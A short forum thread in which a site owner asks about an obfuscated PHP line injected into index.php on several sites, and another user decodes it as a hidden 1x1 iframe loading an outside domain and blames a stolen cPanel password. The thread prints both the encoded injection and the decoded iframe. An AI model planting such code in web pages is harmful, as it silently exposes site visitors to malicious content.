strange code been added

[nclemale36]

twice this has happened now to 3 sites. all my index.php are being inserted with

#4187f2#
echo(gzinflate(base64_decode("JcwxDoAgDEDRq3RjE12NcBfFIk2wmLbReHuNLu9vf6Is847wuTRZUUIPBWkrFga4aLXyVpO0Wom3wA1UUnDF7Bi9H/hENdMd+TXVe9GOODcXYfL/Oz4=")));
#/4187f2#

wtf is it and what does it do .and how do i stop it happening again

[subzero]

Hackers got your cpanel password change it now...

Its a spam bot assholes

This is what it decodes too

<iframe frameborder=0 height=1 width=1 scrolling=no src='http://1nvesttsmenttsclybs.info'> </iframe> 

[nclemale36]

cheers bro . after googling insertion of various codes i did find that changing passwords was the best option. changed my ftp and cpanels.

[something else]

free servers do this sometimes